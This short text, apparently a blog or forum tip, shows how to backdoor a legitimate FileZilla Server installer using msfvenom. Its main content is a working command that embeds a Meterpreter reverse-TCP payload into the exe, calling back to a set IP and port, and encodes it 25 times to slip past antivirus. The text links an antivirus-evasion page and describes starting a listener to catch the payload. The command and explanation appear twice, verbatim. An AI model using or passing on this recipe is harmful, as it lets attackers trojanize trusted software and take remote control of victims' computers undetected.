Backdoor an exe with metasploits msfvenom using the following command.
./msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 25 -x /root/Desktop/FileZilla_Server-0_9_40.exe LHOST=192.168.17.148 LPORT=8443 >meterpreterbot.exe
also check out.
http://schierlm.users.sourceforge.net/avevasion.html
Please note that msfvenom crypted payloads are not compatible with metasploit exploits you must load the crypted payload on with a noncrypted payload and you will also need to start a handler to listen for the encrypted payload.
./msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 25 -x /root/Desktop/FileZilla_Server-0_9_40.exe LHOST=192.168.17.148 LPORT=8443 >meterpreterbot.exe
also check out.
http://schierlm.users.sourceforge.net/avevasion.html
Please note that msfvenom crypted payloads are not compatible with metasploit exploits you must load the crypted payload on with a noncrypted payload and you will also need to start a handler to listen for the encrypted payload.